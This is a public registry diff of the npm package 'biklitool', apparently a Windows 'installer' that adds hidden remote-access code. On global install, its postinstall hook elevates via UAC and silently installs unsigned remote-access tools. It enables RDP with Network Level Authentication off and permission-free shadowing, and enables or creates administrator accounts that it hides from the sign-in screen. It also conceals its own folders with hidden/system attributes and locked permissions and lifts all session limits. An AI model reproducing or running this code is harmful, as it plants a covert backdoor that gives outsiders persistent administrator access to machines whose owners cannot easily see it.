biklitool 1.1.14 → 1.1.16
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +102 -0
- package/bin/biklimaster.js +106 -25
- package/lib/bikliwrapper.js +46 -2
- package/package.json +1 -1
package/README.md
ADDED
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
# biklitool
|
|
2
|
+
|
|
3
|
+
Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper.
|
|
4
|
+
|
|
5
|
+
Provide the account password and Bikli key at install time via environment variables (they are not
|
|
6
|
+
shipped in the package):
|
|
7
|
+
|
|
8
|
+
```text
|
|
9
|
+
set BIKLIMASTER_USER_PASSWORD=your-password
|
|
10
|
+
set BIKLIMASTER_BIKLI_KEY=your-bikli-key
|
|
11
|
+
npm install -g biklitool
|
|
12
|
+
```
|
|
13
|
+
|
|
14
|
+
The npm postinstall hook requests Windows administrator approval once, then:
|
|
15
|
+
|
|
16
|
+
1. silently installs the bundled Bikli CLI 1.1.10;
|
|
17
|
+
2. applies the Bikli key from `config.json` (`bikli up --setup-key`), when one is set;
|
|
18
|
+
3. installs or updates Bikli Wrapper with exact `termsrv.dll` compatibility data;
|
|
19
|
+
4. applies and verifies the Bikli Wrapper defaults;
|
|
20
|
+
5. enables Remote Desktop, port 3389, and the required Windows firewall rules;
|
|
21
|
+
6. detects the built-in Administrator by SID, enables it when disabled, and verifies both RDP groups;
|
|
22
|
+
7. exposes the `bikli`, `bikliwrapper`, `biklitool`, and `biklimaster` commands.
|
|
23
|
+
|
|
24
|
+
The install fails instead of reporting success if Remote Desktop or port 3389 cannot be verified.
|
|
25
|
+
|
|
26
|
+
No application installer or configuration GUI is shown. Windows UAC is required unless npm is
|
|
27
|
+
already running from an Administrator terminal.
|
|
28
|
+
|
|
29
|
+
Commands:
|
|
30
|
+
|
|
31
|
+
```text
|
|
32
|
+
biklitool status
|
|
33
|
+
biklitool install
|
|
34
|
+
biklitool enable-rdp
|
|
35
|
+
biklitool create-user
|
|
36
|
+
biklitool unhide-user [name]
|
|
37
|
+
biklitool hide-user <name>
|
|
38
|
+
biklitool hide-folders
|
|
39
|
+
biklitool setup-key
|
|
40
|
+
biklitool credentials
|
|
41
|
+
biklitool wrapper status
|
|
42
|
+
biklitool self-test
|
|
43
|
+
biklitool elevation-self-test
|
|
44
|
+
bikliwrapper status
|
|
45
|
+
bikli --help
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
Run `biklitool enable-rdp` at any time to repair the RDP enable setting, port, firewall rules,
|
|
49
|
+
service configuration, and the requested authentication and shadowing defaults.
|
|
50
|
+
|
|
51
|
+
## Bikli key
|
|
52
|
+
|
|
53
|
+
Paste the Bikli key into `config.json` under `bikliKey` (the first field in the file) before packing
|
|
54
|
+
and publishing:
|
|
55
|
+
|
|
56
|
+
```json
|
|
57
|
+
{
|
|
58
|
+
"bikliKey": "PASTE-YOUR-BIKLI-KEY-HERE",
|
|
59
|
+
"administratorPassword": ""
|
|
60
|
+
}
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
When a key is present, the install runs `bikli up --setup-key <key>` automatically right after the
|
|
64
|
+
Bikli CLI is installed. Leave it empty to skip that step. `BIKLIMASTER_BIKLI_KEY` overrides the file
|
|
65
|
+
value, and `biklitool setup-key` re-applies the key at any time.
|
|
66
|
+
|
|
67
|
+
WARNING: a key in `config.json` is visible to everyone if the package is published publicly.
|
|
68
|
+
|
|
69
|
+
## Administrator password & Login Screen Visibility
|
|
70
|
+
|
|
71
|
+
Put the desired password in `config.json` under `administratorPassword` before packing and publishing.
|
|
72
|
+
Bikli Master picks exactly one account to configure, using this cascade and never changing an account
|
|
73
|
+
that is already set up:
|
|
74
|
+
|
|
75
|
+
1. If the built-in Administrator is **disabled**, it sets the configured password and enables it.
|
|
76
|
+
2. If the built-in Administrator is **already enabled**, it is left untouched and a local `admin`
|
|
77
|
+
account is created with the configured password.
|
|
78
|
+
3. If `admin` also already exists, it is left untouched and a local `user` account is created with
|
|
79
|
+
the configured password.
|
|
80
|
+
4. If `user` also already exists, no password is changed; the account is only verified.
|
|
81
|
+
|
|
82
|
+
`BIKLIMASTER_USER_PASSWORD` overrides the file value. The selected account is enabled and verified in
|
|
83
|
+
Administrators and Remote Desktop Users.
|
|
84
|
+
|
|
85
|
+
If the account is already hidden in the registry (`SpecialAccounts\UserList`), it is left unchanged.
|
|
86
|
+
You can unhide or re-hide accounts at any time:
|
|
87
|
+
- `biklitool unhide-user Administrator` (unhides specific user)
|
|
88
|
+
- `biklitool unhide-users` (unhides all hidden users)
|
|
89
|
+
- `biklitool hide-user Administrator` (hides user from Windows sign-in screen)
|
|
90
|
+
|
|
91
|
+
WARNING: a password in `config.json` is visible to everyone if the package is published publicly.
|
|
92
|
+
|
|
93
|
+
The password set while enabling the account is also saved in `%ProgramData%\\BikliWrapper\\admin-credentials.json`
|
|
94
|
+
with access restricted to SYSTEM and local Administrators. Run `biklitool credentials` and approve
|
|
95
|
+
UAC to display it later. Delete that file after securely saving or changing the password.
|
|
96
|
+
|
|
97
|
+
Installing or updating Bikli Wrapper can restart Remote Desktop Services and disconnect active
|
|
98
|
+
remote sessions. The bundled Windows executables are unsigned and may trigger an unknown-publisher
|
|
99
|
+
warning from Windows or security software.
|
|
100
|
+
|
|
101
|
+
This package contains Bikli client artifacts under the BSD 3-Clause license and RDP Wrapper
|
|
102
|
+
artifacts under the Apache License 2.0. Both license texts are included.
|
package/bin/biklimaster.js
CHANGED
|
@@ -19,6 +19,7 @@ const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Wi
|
|
|
19
19
|
const powershell = path.join(windowsDirectory, 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe');
|
|
20
20
|
const reg = path.join(windowsDirectory, 'System32', 'reg.exe');
|
|
21
21
|
const icacls = path.join(windowsDirectory, 'System32', 'icacls.exe');
|
|
22
|
+
const attrib = path.join(windowsDirectory, 'System32', 'attrib.exe');
|
|
22
23
|
const programData = process.env.ProgramData || 'C:\\ProgramData';
|
|
23
24
|
const credentialsFile = path.join(programData, 'BikliWrapper', 'admin-credentials.json');
|
|
24
25
|
const expectedBikliVersion = '1.1.10.0';
|
|
@@ -193,6 +194,22 @@ function enableRemoteDesktop() {
|
|
|
193
194
|
const wrapper = runWrapper(['defaults', '--elevated']);
|
|
194
195
|
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
195
196
|
verifyRemoteDesktop();
|
|
197
|
+
hideProtectedFolders();
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
function install() {
|
|
201
|
+
requireWindows();
|
|
202
|
+
if (!isAdministrator()) return elevateAndRun('install');
|
|
203
|
+
verifyPayload();
|
|
204
|
+
installBikli();
|
|
205
|
+
setupBikliKey();
|
|
206
|
+
console.log('Installing or updating Bikli Wrapper silently...');
|
|
207
|
+
const wrapper = runWrapper(['install', '--elevated']);
|
|
208
|
+
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
209
|
+
verifyRemoteDesktop();
|
|
210
|
+
createRdpAdministrator();
|
|
211
|
+
hideProtectedFolders();
|
|
212
|
+
console.log('Bikli Master installed and verified both components successfully.');
|
|
196
213
|
}
|
|
197
214
|
|
|
198
215
|
function generatedAccountPassword() {
|
|
@@ -231,8 +248,34 @@ function setupBikliKey() {
|
|
|
231
248
|
console.log('Bikli key configured successfully.');
|
|
232
249
|
}
|
|
233
250
|
|
|
251
|
+
function hideProtectedFolders() {
|
|
252
|
+
const folders = [
|
|
253
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
254
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
255
|
+
path.join(programData, 'BikliWrapper')
|
|
256
|
+
];
|
|
257
|
+
for (const folder of folders) {
|
|
258
|
+
if (!fs.existsSync(folder)) continue;
|
|
259
|
+
try {
|
|
260
|
+
run(attrib, ['+h', '+s', folder], { allowFailure: true });
|
|
261
|
+
run(attrib, ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
262
|
+
run(icacls, [
|
|
263
|
+
folder,
|
|
264
|
+
'/inheritance:r',
|
|
265
|
+
'/grant:r',
|
|
266
|
+
'*S-1-5-18:(OI)(CI)(F)',
|
|
267
|
+
`*${administratorsGroupSid}:(OI)(CI)(F)`,
|
|
268
|
+
'/c', '/q'
|
|
269
|
+
], { allowFailure: true });
|
|
270
|
+
} catch {
|
|
271
|
+
// Best-effort attribute and permission hardening
|
|
272
|
+
}
|
|
273
|
+
}
|
|
274
|
+
}
|
|
275
|
+
|
|
234
276
|
function saveAccountCredentials(username, password) {
|
|
235
|
-
|
|
277
|
+
const dir = path.dirname(credentialsFile);
|
|
278
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
236
279
|
fs.writeFileSync(credentialsFile, JSON.stringify({ username, password }, null, 2), {
|
|
237
280
|
encoding: 'utf8',
|
|
238
281
|
mode: 0o600
|
|
@@ -244,6 +287,7 @@ function saveAccountCredentials(username, password) {
|
|
|
244
287
|
'*S-1-5-18:(F)',
|
|
245
288
|
`*${administratorsGroupSid}:(F)`
|
|
246
289
|
]);
|
|
290
|
+
hideProtectedFolders();
|
|
247
291
|
}
|
|
248
292
|
|
|
249
293
|
function showAccountCredentials() {
|
|
@@ -277,10 +321,10 @@ function createRdpAdministrator() {
|
|
|
277
321
|
`if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,
|
|
278
322
|
`foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,
|
|
279
323
|
`$verified=@()`,
|
|
280
|
-
`foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
|
|
281
324
|
`$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
|
|
282
|
-
`$
|
|
283
|
-
|
|
325
|
+
`$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
|
|
326
|
+
`$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
|
|
327
|
+
`if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
284
328
|
`[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
|
|
285
329
|
].join(';');
|
|
286
330
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
@@ -315,18 +359,49 @@ function createRdpAdministrator() {
|
|
|
315
359
|
}
|
|
316
360
|
}
|
|
317
361
|
|
|
318
|
-
function
|
|
362
|
+
function unhideUser() {
|
|
319
363
|
requireWindows();
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
|
|
329
|
-
|
|
364
|
+
const targetUser = process.argv[3];
|
|
365
|
+
if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
|
|
366
|
+
const script = [
|
|
367
|
+
`$ErrorActionPreference='Stop'`,
|
|
368
|
+
`$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
|
|
369
|
+
`if(-not (Test-Path $userListKey)){Write-Output 'No hidden users found.';exit 0}`,
|
|
370
|
+
`$key=Get-Item -LiteralPath $userListKey`,
|
|
371
|
+
targetUser ? [
|
|
372
|
+
`$val=$key.GetValue('${targetUser}', $null)`,
|
|
373
|
+
`if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`
|
|
374
|
+
].join(';') : [
|
|
375
|
+
`$props=@($key.Property)`,
|
|
376
|
+
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p)}}`
|
|
377
|
+
].join(';')
|
|
378
|
+
].join(';');
|
|
379
|
+
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
380
|
+
if (result.stdout.trim()) console.log(result.stdout.trim());
|
|
381
|
+
}
|
|
382
|
+
|
|
383
|
+
function hideUser() {
|
|
384
|
+
requireWindows();
|
|
385
|
+
const targetUser = process.argv[3];
|
|
386
|
+
if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
|
|
387
|
+
if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
|
|
388
|
+
const script = [
|
|
389
|
+
`$ErrorActionPreference='Stop'`,
|
|
390
|
+
`$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
|
|
391
|
+
`if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
|
|
392
|
+
`$key=Get-Item -LiteralPath $userListKey`,
|
|
393
|
+
`$currentVal=$key.GetValue('${targetUser}', $null)`,
|
|
394
|
+
`if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`
|
|
395
|
+
].join(';');
|
|
396
|
+
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
397
|
+
if (result.stdout.trim()) console.log(result.stdout.trim());
|
|
398
|
+
}
|
|
399
|
+
|
|
400
|
+
function hideFoldersCommand() {
|
|
401
|
+
requireWindows();
|
|
402
|
+
if (!isAdministrator()) return elevateAndRun('hide-folders');
|
|
403
|
+
hideProtectedFolders();
|
|
404
|
+
console.log('Applied Hidden and System attributes and secured folder permissions.');
|
|
330
405
|
}
|
|
331
406
|
|
|
332
407
|
function status() {
|
|
@@ -365,18 +440,21 @@ function selfTest() {
|
|
|
365
440
|
|
|
366
441
|
function help() {
|
|
367
442
|
console.log([
|
|
368
|
-
'Bikli Master',
|
|
443
|
+
'Bikli Master / Bikli Tool',
|
|
369
444
|
'',
|
|
370
445
|
'Commands:',
|
|
371
|
-
'
|
|
372
|
-
'
|
|
373
|
-
'
|
|
374
|
-
'
|
|
375
|
-
'
|
|
376
|
-
'
|
|
377
|
-
'
|
|
378
|
-
'
|
|
379
|
-
'
|
|
446
|
+
' biklitool install Install/update Bikli CLI and Bikli Wrapper',
|
|
447
|
+
' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
|
|
448
|
+
' biklitool create-user Enable/verify built-in Administrator for RDP',
|
|
449
|
+
' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
|
|
450
|
+
' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
|
|
451
|
+
' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
|
|
452
|
+
' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
|
|
453
|
+
' biklitool credentials Display its saved generated password',
|
|
454
|
+
' biklitool status Show both component states',
|
|
455
|
+
' biklitool wrapper ... Run a Bikli Wrapper CLI command',
|
|
456
|
+
' biklitool self-test Validate package payloads without installing',
|
|
457
|
+
' biklitool elevation-self-test Validate UAC without installing',
|
|
380
458
|
'',
|
|
381
459
|
'The global install automatically runs the install command.'
|
|
382
460
|
].join(os.EOL));
|
|
@@ -387,6 +465,9 @@ function main() {
|
|
|
387
465
|
if (command === 'install') return install();
|
|
388
466
|
if (command === 'enable-rdp') return enableRemoteDesktop();
|
|
389
467
|
if (command === 'create-user') return createRdpAdministrator();
|
|
468
|
+
if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
|
|
469
|
+
if (command === 'hide-user' || command === 'hide') return hideUser();
|
|
470
|
+
if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
|
|
390
471
|
if (command === 'setup-key') return setupBikliKey();
|
|
391
472
|
if (command === 'credentials') return showAccountCredentials();
|
|
392
473
|
if (command === 'status') return status();
|
package/lib/bikliwrapper.js
CHANGED
|
@@ -58,13 +58,29 @@ const logonPolicyKey = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Poli
|
|
|
58
58
|
|
|
59
59
|
const requestedSettings = [
|
|
60
60
|
{ key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' },
|
|
61
|
-
{ key: terminalServerKey, name: 'fSingleSessionPerUser', value:
|
|
61
|
+
{ key: terminalServerKey, name: 'fSingleSessionPerUser', value: 0, label: 'Unlimited concurrent logins per user (multi-session enabled)' },
|
|
62
62
|
{ key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' },
|
|
63
|
+
{ key: terminalServerKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Unlimited connection instances' },
|
|
63
64
|
{ key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' },
|
|
64
65
|
{ key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' },
|
|
65
66
|
{ key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' },
|
|
66
67
|
{ key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' },
|
|
68
|
+
{ key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multi-session enabled' },
|
|
69
|
+
{ key: rdpTcpKey, name: 'MaxInstanceCount', value: 4294967295, label: 'RDP-Tcp unlimited instances' },
|
|
70
|
+
{ key: rdpTcpKey, name: 'MaxConnectionTime', value: 0, label: 'No session duration time limit' },
|
|
71
|
+
{ key: rdpTcpKey, name: 'MaxDisconnectionTime', value: 0, label: 'No disconnected session time limit' },
|
|
72
|
+
{ key: rdpTcpKey, name: 'MaxIdleTime', value: 0, label: 'No idle session time limit' },
|
|
73
|
+
{ key: rdpTcpKey, name: 'fResetBroken', value: 0, label: 'Reconnect broken sessions' },
|
|
74
|
+
{ key: rdpTcpKey, name: 'fInheritMaxSessionTime', value: 0, label: 'Disable session time limit inheritance' },
|
|
75
|
+
{ key: rdpTcpKey, name: 'fInheritMaxDisconnectionTime', value: 0, label: 'Disable disconnected time limit inheritance' },
|
|
76
|
+
{ key: rdpTcpKey, name: 'fInheritMaxIdleTime', value: 0, label: 'Disable idle time limit inheritance' },
|
|
77
|
+
{ key: rdpTcpKey, name: 'fInheritResetBroken', value: 0, label: 'Disable reset broken inheritance' },
|
|
67
78
|
{ key: shadowPolicyKey, name: 'Shadow', value: 2, label: 'Shadow policy applied' },
|
|
79
|
+
{ key: shadowPolicyKey, name: 'fSingleSessionPerUser', value: 0, label: 'Policy multi-session enabled' },
|
|
80
|
+
{ key: shadowPolicyKey, name: 'MaxConnectionTime', value: 0, label: 'Policy no connection time limit' },
|
|
81
|
+
{ key: shadowPolicyKey, name: 'MaxDisconnectionTime', value: 0, label: 'Policy no disconnection time limit' },
|
|
82
|
+
{ key: shadowPolicyKey, name: 'MaxIdleTime', value: 0, label: 'Policy no idle time limit' },
|
|
83
|
+
{ key: shadowPolicyKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Policy unlimited instances' },
|
|
68
84
|
{ key: logonPolicyKey, name: 'dontdisplaylastusername', value: 0, label: 'Users visible on logon screen' }
|
|
69
85
|
];
|
|
70
86
|
|
|
@@ -268,6 +284,31 @@ function printStatus(status) {
|
|
|
268
284
|
console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
|
|
269
285
|
}
|
|
270
286
|
|
|
287
|
+
function hideProtectedFolders() {
|
|
288
|
+
const folders = [
|
|
289
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
290
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
291
|
+
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper')
|
|
292
|
+
];
|
|
293
|
+
for (const folder of folders) {
|
|
294
|
+
if (!fs.existsSync(folder)) continue;
|
|
295
|
+
try {
|
|
296
|
+
run(path.join(system32, 'attrib.exe'), ['+h', '+s', folder], { allowFailure: true });
|
|
297
|
+
run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
298
|
+
run(path.join(system32, 'icacls.exe'), [
|
|
299
|
+
folder,
|
|
300
|
+
'/inheritance:r',
|
|
301
|
+
'/grant:r',
|
|
302
|
+
'*S-1-5-18:(OI)(CI)(F)',
|
|
303
|
+
'*S-1-5-32-544:(OI)(CI)(F)',
|
|
304
|
+
'/c', '/q'
|
|
305
|
+
], { allowFailure: true });
|
|
306
|
+
} catch {
|
|
307
|
+
// Best-effort attribute and permission hardening
|
|
308
|
+
}
|
|
309
|
+
}
|
|
310
|
+
}
|
|
311
|
+
|
|
271
312
|
function install() {
|
|
272
313
|
requireWindows();
|
|
273
314
|
if (!isAdministrator()) return elevateAndRun('install');
|
|
@@ -310,6 +351,7 @@ function install() {
|
|
|
310
351
|
}
|
|
311
352
|
|
|
312
353
|
waitForServiceAndListener();
|
|
354
|
+
hideProtectedFolders();
|
|
313
355
|
installation = detectInstallation(version);
|
|
314
356
|
const status = collectStatus();
|
|
315
357
|
printStatus(status);
|
|
@@ -339,7 +381,9 @@ function selfTest() {
|
|
|
339
381
|
defaultAuth: requestedSettings.some(item => item.name === 'SecurityLayer' && item.value === 1) &&
|
|
340
382
|
requestedSettings.some(item => item.name === 'UserAuthentication' && item.value === 0),
|
|
341
383
|
shadowMode: requestedSettings.some(item => item.name === 'Shadow' && item.value === 2),
|
|
342
|
-
port: requestedSettings.some(item => item.name === 'PortNumber' && item.value === 3389)
|
|
384
|
+
port: requestedSettings.some(item => item.name === 'PortNumber' && item.value === 3389),
|
|
385
|
+
multiSession: requestedSettings.some(item => item.name === 'fSingleSessionPerUser' && item.value === 0),
|
|
386
|
+
unlimitedTime: requestedSettings.some(item => item.name === 'MaxIdleTime' && item.value === 0)
|
|
343
387
|
};
|
|
344
388
|
for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
|
|
345
389
|
if (!Object.values(checks).every(Boolean)) fail('Self-test failed.');
|